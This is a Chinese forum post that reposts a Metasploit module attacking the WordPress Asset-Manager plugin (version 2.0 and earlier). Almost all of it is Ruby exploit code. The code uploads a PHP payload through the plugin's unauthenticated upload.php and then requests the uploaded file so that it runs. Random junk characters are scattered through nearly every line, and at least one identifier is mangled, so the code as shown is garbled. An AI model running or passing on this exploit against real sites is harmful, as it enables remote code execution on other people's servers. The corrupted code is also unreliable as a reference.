标题: WordPress Asset-Manager PHP文件上传漏洞 [打印本页] 作者: admin 时间: 2012-12-31 09:22 标题: WordPress Asset-Manager PHP文件上传漏洞 这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。 ) ]7 Q& Z `0 K , z2 [, O" D8 s A##6 ? [% N: J' D* s
# This file is part of the Metasploit Framework and may be subject to5 ~* ]+ b( _" K' d
# redistribution and commercial restrictions. Please see the Metasploit " j4 O9 R# j' d# Framework web site for more information on licensing and terms of use. 7 P W9 [ `+ [# e. ~# http://metasploit.com/framework/5 C; E. e2 N `+ s6 _
## 1 c! @, P) z, m) N- k6 J 1 z( c$ O1 V$ I& \" ]+ ]( H
require 'msf/core' 8 b" ?) t1 J. V8 d. G" x/ trequire 'msf/core/exploit/php_exe'$ r- o& C- m4 ~( E: [) `
- i* x$ F4 W: ~% Q
class Metasploit3 < Msf::Exploit::Remote ' y" q3 M& I. `3 m. b4 b Rank = ExcellentRanking6 P# ~0 T8 r/ q5 N
. U+ K' P' m1 U* G' b4 S; L8 i
include Msf::Exploit::Remote::HttpClient * M1 G5 D f3 F+ B e1 R/ q; Q9 j4 I include Msf::Exploit:hpEXE; b5 ]) _* y W
) f+ J1 g* J( j( j) B0 H def initialize(info = {}): N: W) i2 p0 W. H- f- q( U( w* Z
super(update_info(info,. i8 H% o& P0 O4 t) L9 u
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',3 ]/ \7 d5 |! H% U6 Y
'Description' => %q{/ s' n' W8 K, H5 F. K: O8 w" z8 Y
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress + e" S/ X9 S2 \& y plugin. By abusing the upload.php file, a malicious user can upload a file to a ' v' T& n7 T9 T! T temp directory without authentication, which results in arbitrary code execution.+ R( j& }2 Q: E8 I% x9 b
},4 @- I; S# u( D. y4 ?2 z" i
'Author' => ) I2 c# h6 t% B4 K2 s [ % [# @# i2 K: r! E( e4 x 'Sammy FORGIT', # initial discovery5 g. J5 D9 M/ }6 [0 p: ?% G
'James Fitts <fitts.james[at]gmail.com>' # metasploit module' M+ N. t+ c' E
], 4 V6 ~# ^ M6 O% I 'License' => MSF_LICENSE, ' A$ C# p4 Q) i3 u4 I1 Q 'References' =>+ l( Q* t( d# B) D; Z' H3 Z
[ , s0 e4 t1 K, ?1 ^4 C$ q1 } [ 'OSVDB', '82653' ], % e5 H+ U& i$ t& b& F [ 'BID', '53809' ],5 j& [2 F, q7 e# w3 T" b
[ 'EDB', '18993' ],+ Z' O# w; C/ M' M0 U" n
[ 'URL', 'http:// www.myhack58.com /' ] . z$ L+ ]* P. V9 n: B. X ], ' P) f9 F4 M- C3 Z0 ^1 n 'Payload' => 8 m" f6 {, f, k/ K! r { # A5 A+ A& Y4 j6 P0 U# j 'BadChars' => "\x00",3 x- G7 p2 p5 K- b$ H! s2 a
}, ! g5 A1 O/ S6 t# u 'Platform' => 'php',8 U( h; O5 H, U1 q! s1 I
'Arch' => ARCH_PHP, 7 E5 R$ a" g+ F6 o 'Targets' => : u: ]$ i' C6 p3 B/ p( G7 A% m& p [ $ d% F& j- m3 K$ s [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],* H- C1 h$ w) a* E1 q; z' z% Q
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] " u1 C! e* D$ Y4 b& j# q ],) ~& _3 C; e) E6 D2 q% q2 e
'DefaultTarget' => 0,5 R( w9 y/ x/ {2 x9 a
'DisclosureDate' => 'May 26 2012'))9 b" d! {1 w8 V) L7 B
" b, M q! j: q/ k5 U9 Q$ f" j
register_options( ) W2 k) `, z( Y5 i% q, k" n: ~ [ 1 y0 a. [' B+ P( z% e OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']) 9 Q/ Q I, C) }! e) U0 L0 o8 [: N ], self.class)- E4 [: V( ^6 P" u
end6 e* L5 r0 R% O9 d
7 u4 V/ s3 G- S* [" J8 Q* q def exploit( Y8 h6 {: S1 }
uri = target_uri.path / M9 B* i; k, b- e uri << '/' if uri[-1,1] != '/' ) \$ q6 Y0 s( Z/ [1 b, l' p peer = "#{rhost}:#{rport}" , B, H Q6 E5 k+ u# H: v payload_name = "#{rand_text_alpha(5)}.php"$ s3 a s* Y0 `+ a( O2 }
php_payload = get_write_exec_payload(:unlink_self=>true) , U. g" i1 |! q6 M' H 6 m1 ]- i; p3 z: |- D, `! H1 P data = Rex::MIME::Message.new ! n! D, k8 D* b9 [' x data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") 8 F& V/ `6 V) `* B post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') / x6 x8 p8 F1 [0 h+ {( U. a4 ^ : L" O) D. U( m) v/ K
print_status("#{peer} - Uploading payload #{payload_name}") 6 ~3 W- P' y7 ?& ?8 Y E4 V2 \ res = send_request_cgi({! V. p9 ^& ]: [( p
'method' => 'POST', " v- b1 q( B4 `$ V2 n* S4 ] 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php", & m9 ]9 V* ]0 e7 ~* ?6 P& B 'ctype' => "multipart/form-data; boundary=#{data.bound}", 1 h( J2 x0 t7 T# D' c4 k$ A 'data' => post_data : `% z3 n' R/ n4 O [ c( M }) 8 `4 h# R; f+ l* D4 ] : q: F6 ?3 e- I- C8 j if not res or res.code != 200 or res.body !~ /#{payload_name}/ 9 g# O! k" b2 z6 K fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") ! R; \7 G7 d% S: @/ ?+ }end 3 O8 ]) t% n0 ?; o( w5 N ( r& ^$ i, g9 b9 l" q) n% B, L
print_status("#{peer} - Executing payload #{payload_name}") 5 ]0 t( |5 Y5 P% d0 N res = send_request_raw({ 1 A8 E9 Q& h, e; h% T 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}", ) g: ~0 k& a' \/ d 'method' => 'GET' * D) h* `% c0 r8 }4 \ }) ! G9 M% t3 T7 {9 k; u - h3 ^4 R* m1 H0 b+ f# S
if res and res.code != 200 % m: h# Q6 a( O/ w/ d fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed") 8 B5 @. i9 @) f end* c7 l4 w) q( b5 `0 O; ?8 K
end" r' B% Z) B6 P0 }7 g; b, O4 {
end 7 a& p; a; ?, f